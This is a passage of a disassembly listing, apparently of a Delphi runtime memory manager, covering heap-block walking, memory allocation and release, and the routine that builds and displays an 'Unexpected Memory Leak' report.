sub_400020D4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400021F0	proc near		; CODE XREF: sub_40002540+16Ap
					; sub_40002540+1E3p ...
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, edx
		mov	edx, ebx
		mov	ecx, esi
		call	sub_40002DFC
		mov	eax, ebx
		add	eax, esi
		pop	esi
		pop	ebx
		retn
sub_400021F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40002208	proc near		; CODE XREF: sub_40002208+A1p
					; sub_400022C0+1Bp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	edx, ebx
		mov	ecx, edx
		add	ecx, 0FFFFFFB4h
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-1Ch]
		cmp	ecx, eax
		jb	short loc_40002232
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx-10h]
		add	edx, 0FFFFFFDFh
		cmp	eax, edx
		jnb	short loc_40002246


loc_40002232:				; CODE XREF: sub_40002208+18j
		push	1Ch
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFE4h
		push	eax
		mov	eax, ebx
		add	eax, 0FFFFFFB4h
		push	eax
		call	sub_40001258	; VirtualQuery


loc_40002246:				; CODE XREF: sub_40002208+28j
		cmp	esi, 3E8h
		jge	short loc_4000228A
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-1Ch]
		mov	edx, [ebp+arg_0]
		add	eax, [edx-10h]
		mov	edx, ebx
		add	edx, 0FFFFFFDFh
		cmp	eax, edx
		jbe	short loc_4000228A
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax-0Ch], 1000h
		jnz	short loc_4000228A
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-8], 0E6h
		jz	short loc_4000228A
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax-7], 1
		jnz	short loc_4000228A
		mov	eax, ebx
		add	eax, 0FFFFFFB4h
		cmp	ebx, [eax]
		jz	short loc_4000228E


loc_4000228A:				; CODE XREF: sub_40002208+44j
					; sub_40002208+59j ...
		xor	eax, eax
		jmp	short loc_40002290
; ---------------------------------------------------------------------------


loc_4000228E:				; CODE XREF: sub_40002208+80j
		mov	al, 1


loc_40002290:				; CODE XREF: sub_40002208+84j
		test	al, al
		jz	short loc_400022B9
		add	ebx, 0FFFFFFDCh
		mov	ebx, [ebx]
		test	ebx, ebx
		jz	short loc_400022B7
		mov	eax, [ebp+arg_0]
		push	eax
		lea	edx, [esi+1]
		mov	eax, ebx
		sub	eax, 0FFFFFFB4h
		call	sub_40002208
		pop	ecx
		test	al, al
		jnz	short loc_400022B7
		xor	eax, eax
		jmp	short loc_400022B9
; ---------------------------------------------------------------------------


loc_400022B7:				; CODE XREF: sub_40002208+93j
					; sub_40002208+A9j
		mov	al, 1


loc_400022B9:				; CODE XREF: sub_40002208+8Aj
					; sub_40002208+ADj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40002208	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400022C0	proc near		; CODE XREF: sub_400023F4+68p

var_10		= dword	ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		mov	ebx, [eax]
		xor	eax, eax
		mov	[ebp+var_10], eax
		cmp	ebx, 10000h
		jb	short loc_400022E5
		push	ebp
		xor	edx, edx
		mov	eax, ebx
		call	sub_40002208
		pop	ecx
		test	al, al
		jnz	short loc_400022E7


loc_400022E5:				; CODE XREF: sub_400022C0+14j
		xor	ebx, ebx


loc_400022E7:				; CODE XREF: sub_400022C0+23j
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400022C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400022F0	proc near		; CODE XREF: sub_4000235C+3p
					; sub_4000239C+11p
		cmp	ds:byte_4001C04D, 0
		jz	short loc_4000232D
		jmp	short loc_4000231B
; ---------------------------------------------------------------------------


loc_400022FB:				; CODE XREF: sub_400022F0+3Bj
		push	0
		call	sub_400012D4	; Sleep
		mov	ecx, offset byte_4001E7C0
		mov	dl, 1
		xor	eax, eax
		call	sub_40001344
		test	al, al
		jz	short loc_4000232D
		push	0Ah
		call	sub_400012D4	; Sleep


loc_4000231B:				; CODE XREF: sub_400022F0+9j
		mov	ecx, offset byte_4001E7C0
		mov	dl, 1
		xor	eax, eax
		call	sub_40001344
		test	al, al
		jnz	short loc_400022FB


loc_4000232D:				; CODE XREF: sub_400022F0+7j
					; sub_400022F0+22j
		cmp	ds:dword_4001E7BC, 0
		jnz	short loc_4000234E
		push	4
		push	1000h
		push	10000h
		push	0
		call	sub_400012C4	; VirtualAlloc
		mov	ds:dword_4001E7BC, eax


loc_4000234E:				; CODE XREF: sub_400022F0+44j
		cmp	ds:dword_4001E7BC, 0
		setnz	al
		retn
sub_400022F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000235C	proc near		; DATA XREF: .data:4001A734o
		push	ebx
		mov	ebx, eax
		call	sub_400022F0
		test	al, al
		jz	short loc_40002391
		mov	eax, ds:dword_4001E7BC
		cmp	dword ptr [eax], 3FFEh
		jge	short loc_40002391
		mov	eax, ds:dword_4001E7BC
		mov	eax, [eax]
		mov	edx, ds:dword_4001E7BC
		mov	[edx+eax*4+4], ebx
		mov	eax, ds:dword_4001E7BC
		inc	dword ptr [eax]
		mov	al, 1
		jmp	short loc_40002393
; ---------------------------------------------------------------------------


loc_40002391:				; CODE XREF: sub_4000235C+Aj
					; sub_4000235C+17j
		xor	eax, eax


loc_40002393:				; CODE XREF: sub_4000235C+33j
		mov	ds:byte_4001E7C0, 0
		pop	ebx
		retn
sub_4000235C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000239C	proc near		; CODE XREF: sub_400023F4+4Cp
					; sub_40002540+A6p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, offset dword_4001E7BC
		xor	ebx, ebx
		cmp	dword ptr [edi], 0
		jz	short loc_400023EC
		call	sub_400022F0
		test	al, al
		jz	short loc_400023EC
		mov	eax, [edi]
		mov	edx, [eax]
		dec	edx
		test	edx, edx
		jl	short loc_400023E5
		inc	edx
		xor	eax, eax


loc_400023C2:				; CODE XREF: sub_4000239C+47j
		mov	ecx, [edi]
		cmp	esi, [ecx+eax*4+4]
		jnz	short loc_400023E1
		mov	edx, [edi]
		mov	edx, [edx]
		mov	ecx, [edi]
		mov	edx, [ecx+edx*4]
		mov	ecx, [edi]
		mov	[ecx+eax*4+4], edx
		mov	edx, [edi]
		dec	dword ptr [edx]
		mov	bl, 1
		jmp	short loc_400023E5
; ---------------------------------------------------------------------------


loc_400023E1:				; CODE XREF: sub_4000239C+2Cj
		inc	eax
		dec	edx
		jnz	short loc_400023C2


loc_400023E5:				; CODE XREF: sub_4000239C+21j
					; sub_4000239C+43j
		mov	ds:byte_4001E7C0, 0


loc_400023EC:				; CODE XREF: sub_4000239C+Fj
					; sub_4000239C+18j
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000239C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400023F4	proc near		; CODE XREF: sub_40002540+84p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		sub	eax, offset byte_4001A044
		shr	eax, 5
		shl	eax, 8
		mov	edx, [ebp+arg_0]
		lea	esi, [edx+eax*8-1B800h]
		lea	ecx, [ebp+var_1C]
		lea	edx, [ebp+var_18]
		mov	eax, [ebp+var_4]
		call	sub_40002098
		jmp	loc_4000252B
; ---------------------------------------------------------------------------


loc_4000242E:				; CODE XREF: sub_400023F4+13Dj
		mov	eax, [ebp+var_18]
		sub	eax, 4
		test	byte ptr [eax],	1
		jnz	loc_4000251F
		mov	eax, [ebp+var_18]
		call	sub_4000239C
		test	al, al
		jnz	loc_4000251F
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax-1B801h], 0
		xor	ebx, ebx
		mov	eax, [ebp+var_18]
		call	sub_400022C0
		mov	edi, eax
		test	edi, edi
		jnz	loc_400024F3
		mov	eax, [ebp+var_18]
		cmp	dword ptr [eax], 100h
		jnb	loc_4000251B
		mov	eax, [ebp+var_18]
		add	eax, 4
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jle	loc_4000251B
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		movzx	eax, word ptr [eax+2]
		sub	eax, 0Dh
		cmp	eax, [ebp+var_C]
		jle	short loc_4000251B
		mov	eax, [ebp+var_18]
		add	eax, 8
		mov	[ebp+var_10], eax
		mov	[ebp+var_11], 1
		mov	eax, [ebp+var_C]
		test	eax, eax
		jle	short loc_400024DE
		mov	[ebp+var_20], eax


loc_400024B7:				; CODE XREF: sub_400023F4+E8j
		cmp	[ebp+var_11], 0
		jz	short loc_400024CD
		mov	eax, [ebp+var_10]
		cmp	byte ptr [eax],	20h
		jb	short loc_400024CD
		mov	eax, [ebp+var_10]
		cmp	byte ptr [eax],	80h
		jb	short loc_400024D1


loc_400024CD:				; CODE XREF: sub_400023F4+C7j
					; sub_400023F4+CFj
		xor	eax, eax
		jmp	short loc_400024D3
; ---------------------------------------------------------------------------


loc_400024D1:				; CODE XREF: sub_400023F4+D7j
		mov	al, 1


loc_400024D3:				; CODE XREF: sub_400023F4+DBj
		mov	[ebp+var_11], al
		inc	[ebp+var_10]
		dec	[ebp+var_20]
		jnz	short loc_400024B7


loc_400024DE:				; CODE XREF: sub_400023F4+BEj
		cmp	[ebp+var_11], 0
		jz	short loc_4000251B
		mov	eax, [ebp+var_10]
		cmp	byte ptr [eax],	0
		jnz	short loc_4000251B
		mov	ebx, 1
		jmp	short loc_4000251B
; ---------------------------------------------------------------------------


loc_400024F3:				; CODE XREF: sub_400023F4+71j
		mov	ebx, 2


loc_400024F8:				; CODE XREF: sub_400023F4+116j
		cmp	edi, [esi+ebx*8]
		jz	short loc_4000250C
		cmp	dword ptr [esi+ebx*8], 0
		jz	short loc_4000250C
		inc	ebx
		cmp	ebx, 0FFh
		jle	short loc_400024F8


loc_4000250C:				; CODE XREF: sub_400023F4+107j
					; sub_400023F4+10Dj
		cmp	ebx, 0FFh
		jg	short loc_40002519
		mov	[esi+ebx*8], edi
		jmp	short loc_4000251B
; ---------------------------------------------------------------------------


loc_40002519:				; CODE XREF: sub_400023F4+11Ej
		xor	ebx, ebx


loc_4000251B:				; CODE XREF: sub_400023F4+80j
					; sub_400023F4+95j ...
		inc	dword ptr [esi+ebx*8+4]


loc_4000251F:				; CODE XREF: sub_400023F4+43j
					; sub_400023F4+53j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		movzx	eax, word ptr [eax+2]
		add	[ebp+var_18], eax


loc_4000252B:				; CODE XREF: sub_400023F4+35j
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_1C]
		jbe	loc_4000242E
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400023F4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40002540	proc near		; CODE XREF: sub_40002BB4+24p

var_27928	= byte ptr -27928h
var_27927	= byte ptr -27927h
var_27828	= byte ptr -27828h
var_20029	= byte ptr -20029h
var_1F828	= dword	ptr -1F828h
var_1B828	= dword	ptr -1B828h
var_1B824	= dword	ptr -1B824h
var_1B820	= dword	ptr -1B820h
var_1B81C	= dword	ptr -1B81Ch
var_1B818	= dword	ptr -1B818h
var_1B814	= dword	ptr -1B814h
var_1B810	= dword	ptr -1B810h
var_1B80A	= byte ptr -1B80Ah
var_1B809	= byte ptr -1B809h
var_1B808	= dword	ptr -1B808h
var_1B801	= byte ptr -1B801h
var_1B800	= byte ptr -1B800h
var_1B004	= byte ptr -1B004h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 27h


loc_40002549:				; CODE XREF: sub_40002540+11j
		add	esp, 0FFFFF004h
		push	eax
		dec	eax
		jnz	short loc_40002549
		mov	eax, [ebp+var_4]
		add	esp, 0FFFFF6DCh
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_1B800]
		xor	ecx, ecx
		mov	edx, 1B800h
		call	sub_40003580
		lea	eax, [ebp+var_1F828]
		xor	ecx, ecx
		mov	edx, 4000h
		call	sub_40003580
		xor	eax, eax
		mov	[ebp+var_1B808], eax
		mov	[ebp+var_1B801], 1
		mov	edi, ds:dword_4001C70C
		jmp	loc_4000261F
; ---------------------------------------------------------------------------


loc_4000259D:				; CODE XREF: sub_40002540+E5j
		mov	eax, edi
		call	sub_40002058
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4000261C


loc_400025AA:				; CODE XREF: sub_40002540+DAj
		mov	eax, ebx
		sub	eax, 4
		mov	esi, [eax]
		test	esi, 1
		jnz	short loc_4000260F
		test	esi, 4
		jz	short loc_400025CC
		push	ebp
		mov	eax, ebx
		call	sub_400023F4
		pop	ecx
		jmp	short loc_4000260F
; ---------------------------------------------------------------------------


loc_400025CC:				; CODE XREF: sub_40002540+7Fj
		cmp	[ebp+var_1B808], 1000h
		jge	short loc_4000260F
		and	esi, 0FFFFFFF0h
		sub	esi, 4
		mov	[ebp+var_1B814], esi
		mov	eax, ebx
		call	sub_4000239C
		test	al, al
		jnz	short loc_4000260F
		mov	[ebp+var_1B801], 0
		mov	eax, [ebp+var_1B808]
		mov	edx, [ebp+var_1B814]
		mov	[ebp+eax*4+var_1F828], edx
		inc	[ebp+var_1B808]


loc_4000260F:				; CODE XREF: sub_40002540+77j
					; sub_40002540+8Aj ...
		mov	eax, ebx
		call	sub_40002034
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_400025AA


loc_4000261C:				; CODE XREF: sub_40002540+68j
		mov	edi, [edi+4]


loc_4000261F:				; CODE XREF: sub_40002540+58j
		cmp	edi, offset dword_4001C708
		jnz	loc_4000259D
		mov	ebx, ds:dword_4001E7B0
		jmp	short loc_4000266A
; ---------------------------------------------------------------------------


loc_40002633:				; CODE XREF: sub_40002540+13Cj
		mov	eax, ebx
		add	eax, 10h
		call	sub_4000239C
		test	al, al
		jnz	short loc_40002667
		mov	[ebp+var_1B801], 0
		mov	esi, [ebx+0Ch]
		and	esi, 0FFFFFFF0h
		sub	esi, 4
		sub	esi, 10h
		mov	eax, [ebp+var_1B808]
		mov	[ebp+eax*4+var_1F828], esi
		inc	[ebp+var_1B808]


loc_40002667:				; CODE XREF: sub_40002540+FFj
		mov	ebx, [ebx+4]


loc_4000266A:				; CODE XREF: sub_40002540+F1j
		cmp	ebx, offset dword_4001E7AC
		jz	short loc_4000267E
		cmp	[ebp+var_1B808], 1000h
		jl	short loc_40002633


loc_4000267E:				; CODE XREF: sub_40002540+130j
		cmp	[ebp+var_1B801], 0
		jnz	loc_400028E3
		mov	[ebp+var_1B809], 0
		xor	eax, eax
		mov	[ebp+var_1B818], eax
		lea	edx, [ebp+var_27828]
		mov	eax, offset aAnUnexpectedMe ; "An unexpected memory leak has occurred."...
		mov	ecx, 28h
		call	sub_400021F0
		mov	ebx, eax
		mov	[ebp+var_1B810], 37h
		mov	[ebp+var_1B824], offset	word_4001A046
		lea	eax, [ebp+var_1B004]
		mov	[ebp+var_1B828], eax


loc_400026D1:				; CODE XREF: sub_40002540+2F1j
		mov	eax, [ebp+var_1B824]
		movzx	eax, word ptr [eax]
		sub	eax, 4
		mov	[ebp+var_1B81C], eax
		mov	[ebp+var_1B80A], 0
		mov	edi, 0FFh
		mov	eax, [ebp+var_1B828]
		mov	esi, eax


loc_400026F7:				; CODE XREF: sub_40002540+2C8j
		lea	eax, [ebp+var_20029]
		cmp	ebx, eax
		ja	loc_4000280E
		cmp	dword ptr [esi], 0
		jbe	loc_40002801
		cmp	[ebp+var_1B809], 0
		jnz	short loc_40002731
		mov	eax, offset aTheUnexpectedS ; "The unexpected small block leaks	are:\r\n"...
		mov	ecx, 27h
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax
		mov	[ebp+var_1B809], 1


loc_40002731:				; CODE XREF: sub_40002540+1D5j
		cmp	[ebp+var_1B80A], 0
		jnz	short loc_40002789
		mov	byte ptr [ebx],	0Dh
		inc	ebx
		mov	byte ptr [ebx],	0Ah
		inc	ebx
		mov	eax, [ebp+var_1B818]
		inc	eax
		mov	edx, ebx
		call	sub_400020D4
		mov	ebx, eax
		mov	byte ptr [ebx],	20h
		inc	ebx
		mov	byte ptr [ebx],	2Dh
		inc	ebx
		mov	byte ptr [ebx],	20h
		inc	ebx
		mov	edx, ebx
		mov	eax, [ebp+var_1B81C]
		call	sub_400020D4
		mov	ebx, eax
		mov	eax, offset aBytes ; " bytes: "
		mov	ecx, 8
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax
		mov	[ebp+var_1B80A], 1
		jmp	short loc_40002791
; ---------------------------------------------------------------------------


loc_40002789:				; CODE XREF: sub_40002540+1F8j
		mov	byte ptr [ebx],	2Ch
		inc	ebx
		mov	byte ptr [ebx],	20h
		inc	ebx


loc_40002791:				; CODE XREF: sub_40002540+247j
		mov	eax, edi
		sub	eax, 1
		jb	short loc_4000279C
		jz	short loc_400027B1
		jmp	short loc_400027C6
; ---------------------------------------------------------------------------


loc_4000279C:				; CODE XREF: sub_40002540+256j
		mov	eax, offset aUnknown ; "Unknown"
		mov	ecx, 7
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax
		jmp	short loc_400027EA
; ---------------------------------------------------------------------------


loc_400027B1:				; CODE XREF: sub_40002540+258j
		mov	eax, offset aString ; "String"
		mov	ecx, 6
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax
		jmp	short loc_400027EA
; ---------------------------------------------------------------------------


loc_400027C6:				; CODE XREF: sub_40002540+25Aj
		lea	edx, [ebp+var_27928]
		mov	eax, [esi-4]
		call	sub_40003C6C
		movzx	ecx, [ebp+var_27928]
		lea	eax, [ebp+var_27927]
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax


loc_400027EA:				; CODE XREF: sub_40002540+26Fj
					; sub_40002540+284j
		mov	byte ptr [ebx],	20h
		inc	ebx
		mov	byte ptr [ebx],	78h
		inc	ebx
		mov	byte ptr [ebx],	20h
		inc	ebx
		mov	eax, [esi]
		mov	edx, ebx
		call	sub_400020D4
		mov	ebx, eax


loc_40002801:				; CODE XREF: sub_40002540+1C8j
		dec	edi
		sub	esi, 8
		cmp	edi, 0FFFFFFFFh
		jnz	loc_400026F7


loc_4000280E:				; CODE XREF: sub_40002540+1BFj
		mov	eax, [ebp+var_1B81C]
		mov	[ebp+var_1B818], eax
		add	[ebp+var_1B828], 800h
		add	[ebp+var_1B824], 20h
		dec	[ebp+var_1B810]
		jnz	loc_400026D1
		cmp	[ebp+var_1B808], 0
		jle	short loc_400028BA
		cmp	[ebp+var_1B809], 0
		jz	short loc_40002859
		mov	byte ptr [ebx],	0Dh
		inc	ebx
		mov	byte ptr [ebx],	0Ah
		inc	ebx
		mov	byte ptr [ebx],	0Dh
		inc	ebx
		mov	byte ptr [ebx],	0Ah
		inc	ebx


loc_40002859:				; CODE XREF: sub_40002540+307j
		mov	eax, offset aTheSizesOfUnex ; "The sizes of unexpected leaked medium a"...
		mov	ecx, 3Ch
		mov	edx, ebx
		call	sub_400021F0
		mov	ebx, eax
		mov	edi, [ebp+var_1B808]
		dec	edi
		test	edi, edi
		jb	short loc_400028BA
		inc	edi
		mov	[ebp+var_1B820], 0
		lea	esi, [ebp+var_1F828]


loc_40002888:				; CODE XREF: sub_40002540+378j
		cmp	[ebp+var_1B820], 0
		jz	short loc_40002899
		mov	byte ptr [ebx],	2Ch
		inc	ebx
		mov	byte ptr [ebx],	20h
		inc	ebx


loc_40002899:				; CODE XREF: sub_40002540+34Fj
		mov	eax, [esi]
		mov	edx, ebx
		call	sub_400020D4
		mov	ebx, eax
		lea	eax, [ebp+var_20029]
		cmp	ebx, eax
		ja	short loc_400028BA
		inc	[ebp+var_1B820]
		add	esi, 4
		dec	edi
		jnz	short loc_40002888


loc_400028BA:				; CODE XREF: sub_40002540+2FEj
					; sub_40002540+335j ...
		mov	eax, offset asc_4000299C ; "\r\n"
		mov	ecx, 3
		mov	edx, ebx
		call	sub_400021F0
		push	2010h
		push	offset aUnexpectedMemo ; "Unexpected Memory Leak"
		lea	eax, [ebp+var_27828]
		push	eax
		push	0
		call	sub_400011B0	; MessageBoxA


loc_400028E3:				; CODE XREF: sub_40002540+145j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40002540	endp

; ---------------------------------------------------------------------------
		align 4
aAnUnexpectedMe	db 'An unexpected memory leak has occurred. ',0
					; DATA XREF: sub_40002540+160o
		align 4
aTheUnexpectedS	db 'The unexpected small block leaks are:',0Dh,0Ah,0
					; DATA XREF: sub_40002540+1D7o
aBytes		db ' bytes: ',0         ; DATA XREF: sub_40002540+22Do
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40002540:loc_4000279Co
aString		db 'String',0           ; DATA XREF: sub_40002540:loc_400027B1o
		align 4
aTheSizesOfUnex	db 'The sizes of unexpected leaked medium and large blocks are: ',0
					; DATA XREF: sub_40002540:loc_40002859o
		align 4
asc_4000299C	db 0Dh,0Ah,0		; DATA XREF: sub_40002540:loc_400028BAo
		align 10h
aUnexpectedMemo	db 'Unexpected Memory Leak',0 ; DATA XREF: sub_40002540+390o
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400029B8	proc near		; CODE XREF: sub_400029FC+DDp
		push	esi
		push	edi
		xor	eax, eax
		xor	esi, esi
		mov	edx, offset word_4001A046


loc_400029C3:				; CODE XREF: sub_400029B8+3Dj
		cmp	ds:byte_4001C706, 0
		jz	short loc_400029D1
		test	byte ptr [edx],	0Fh
		jnz	short loc_400029EE


loc_400029D1:				; CODE XREF: sub_400029B8+12j
		movzx	edi, word ptr [edx]
		shr	edi, 3
		mov	ecx, esi
		add	ecx, ecx
		add	ecx, ecx
		cmp	edi, eax
		jbe	short loc_400029EC


loc_400029E1:				; CODE XREF: sub_400029B8+32j
		mov	ds:byte_4001C5C0[eax], cl
		inc	eax
		cmp	edi, eax
		ja	short loc_400029E1


loc_400029EC:				; CODE XREF: sub_400029B8+27j
		mov	eax, edi


loc_400029EE:				; CODE XREF: sub_400029B8+17j
		inc	esi
		add	edx, 20h
		cmp	esi, 37h
		jnz	short loc_400029C3
		pop	edi
		pop	esi
		retn
sub_400029B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400029FC	proc near		; CODE XREF: .itext:4001900Dp
		push	ebx
		push	esi
		push	edi
		mov	esi, 37h
		mov	ebx, offset off_4001A060


loc_40002A09:				; CODE XREF: sub_400029FC+D7j
		cmp	dword ptr [ebx], 0
		jnz	short loc_40002A14
		mov	dword ptr [ebx], offset	sub_40001484


loc_40002A14:				; CODE XREF: sub_400029FC+10j
		lea	eax, [ebx-1Ch]
		mov	[ebx-8], eax
		lea	eax, [ebx-1Ch]
		mov	[ebx-18h], eax
		xor	eax, eax
		mov	[ebx-10h], eax
		mov	dword ptr [ebx-14h], 1
		movzx	eax, word ptr [ebx-1Ah]
		add	eax, eax
		add	eax, eax
		lea	eax, [eax+eax*2]
		add	eax, 0EFh
		and	eax, 0FFFFFF00h
		add	eax, 30h
		cmp	eax, 0B30h
		jnb	short loc_40002A50
		mov	eax, 0B30h


loc_40002A50:				; CODE XREF: sub_400029FC+4Dj
		add	eax, 4D0h
		shr	eax, 0Dh
		cmp	eax, 7
		jbe	short loc_40002A62
		mov	eax, 7


loc_40002A62:				; CODE XREF: sub_400029FC+5Fj
		mov	ecx, eax
		mov	dl, 0FFh
		shl	dl, cl
		mov	[ebx-1Bh], dl
		shl	eax, 0Dh
		add	ax, 0B30h
		mov	[ebx-4], ax
		movzx	edi, word ptr [ebx-1Ah]
		movzx	eax, di
		mov	ecx, eax
		shl	ecx, 4
		lea	ecx, [ecx+ecx*2]
		add	ecx, 0EFh
		and	ecx, 0FFFFFF00h
		add	ecx, 30h
		cmp	ecx, 7330h
		jnb	short loc_40002AA1
		mov	ecx, 7330h


loc_40002AA1:				; CODE XREF: sub_400029FC+9Ej
		cmp	ecx, 0FF30h
		jbe	short loc_40002AAE
		mov	ecx, 0FF30h


loc_40002AAE:				; CODE XREF: sub_400029FC+ABj
		mov	eax, ecx
		sub	eax, 20h
		movzx	edx, di
		mov	ecx, edx
		xor	edx, edx
		div	ecx
		imul	di
		add	ax, 0EFh
		and	ax, 0FF00h
		add	ax, 30h
		mov	[ebx-2], ax
		add	ebx, 20h
		dec	esi
		jnz	loc_40002A09
		call	sub_400029B8
		mov	ds:dword_4001C708, offset dword_4001C708
		mov	ds:dword_4001C70C, offset dword_4001C708
		mov	esi, 400h
		mov	edx, offset off_4001C7A8


loc_40002AFC:				; CODE XREF: sub_400029FC+10Bj
		mov	eax, edx
		mov	[eax], eax
		mov	[eax+4], eax
		add	edx, 8
		dec	esi
		jnz	short loc_40002AFC
		mov	ds:dword_4001E7AC, offset dword_4001E7AC
		mov	ds:dword_4001E7B0, offset dword_4001E7AC
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400029FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002B24	proc near		; CODE XREF: sub_40002BB4:loc_40002BFFp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_4001C708
		mov	esi, offset dword_4001E7AC
		mov	edi, [ebx+4]
		jmp	short loc_40002B49
; ---------------------------------------------------------------------------


loc_40002B37:				; CODE XREF: sub_40002B24+27j
		mov	ebp, [edi+4]
		push	8000h
		push	0
		push	edi
		call	sub_400012CC	; VirtualFree
		mov	edi, ebp


loc_40002B49:				; CODE XREF: sub_40002B24+11j
		cmp	edi, ebx
		jnz	short loc_40002B37
		mov	edx, 37h
		mov	eax, offset byte_4001A044


loc_40002B57:				; CODE XREF: sub_40002B24+4Dj
		mov	ecx, eax
		mov	[eax+14h], ecx
		mov	ecx, eax
		mov	[eax+4], ecx
		mov	dword ptr [eax+8], 1
		xor	ecx, ecx
		mov	[eax+0Ch], ecx
		add	eax, 20h
		dec	edx
		jnz	short loc_40002B57
		mov	[ebx], ebx
		mov	[ebx+4], ebx
		mov	edx, 400h
		mov	ecx, offset off_4001C7A8


loc_40002B82:				; CODE XREF: sub_40002B24+69j
		mov	eax, ecx
		mov	[eax], eax
		mov	[eax+4], eax
		add	ecx, 8
		dec	edx
		jnz	short loc_40002B82
		mov	ebx, [esi+4]
		jmp	short loc_40002BA6
; ---------------------------------------------------------------------------


loc_40002B94:				; CODE XREF: sub_40002B24+84j
		mov	edi, [ebx+4]
		push	8000h
		push	0
		push	ebx
		call	sub_400012CC	; VirtualFree
		mov	ebx, edi


loc_40002BA6:				; CODE XREF: sub_40002B24+6Ej
		cmp	ebx, esi
		jnz	short loc_40002B94
		mov	[esi], esi
		mov	[esi+4], esi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40002B24	endp


; =============== S U B	R O U T	I N E =======================================



sub_40002BB4	proc near		; CODE XREF: sub_40006350+37p
		cmp	ds:dword_4001E7C4, 0
		jz	short loc_40002BCF
		mov	eax, ds:dword_4001E7C4
		push	eax
		call	sub_400012DC	; DestroyWindow
		xor	eax, eax
		mov	ds:dword_4001E7C4, eax


loc_40002BCF:				; CODE XREF: sub_40002BB4+7j
		cmp	ds:byte_4001C5B4, 0
		jz	short loc_40002BDD
		call	sub_40002540


loc_40002BDD:				; CODE XREF: sub_40002BB4+22j
		cmp	ds:dword_4001E7BC, 0
		jz	short loc_40002BFF
		push	8000h
		push	0
		mov	eax, ds:dword_4001E7BC
		push	eax
		call	sub_400012CC	; VirtualFree
		xor	eax, eax
		mov	ds:dword_4001E7BC, eax


loc_40002BFF:				; CODE XREF: sub_40002BB4+30j
		call	sub_40002B24
		retn
sub_40002BB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40002C08	proc near		; CODE XREF: sub_4000C5D0+45p
		test	eax, eax
		jz	short locret_40002C16
		call	off_4001A730
		test	eax, eax
		jz	short loc_40002C18

locret_40002C16:			; CODE XREF: sub_40002C08+2j
		rep retn
; ---------------------------------------------------------------------------


loc_40002C18:				; CODE XREF: sub_40002C08+Cj
		mov	al, 1
		jmp	sub_40002D50
sub_40002C08	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40002C20	proc near		; CODE XREF: sub_40003C80+Ap
					; sub_40004948+Cp ...
		test	eax, eax
		jle	short loc_40002C37
		call	off_4001A724
		test	eax, eax
		jz	short loc_40002C30
		rep retn
; ---------------------------------------------------------------------------


loc_40002C30:				; CODE XREF: sub_40002C20+Cj
		mov	al, 1
		jmp	sub_40002D50
; ---------------------------------------------------------------------------


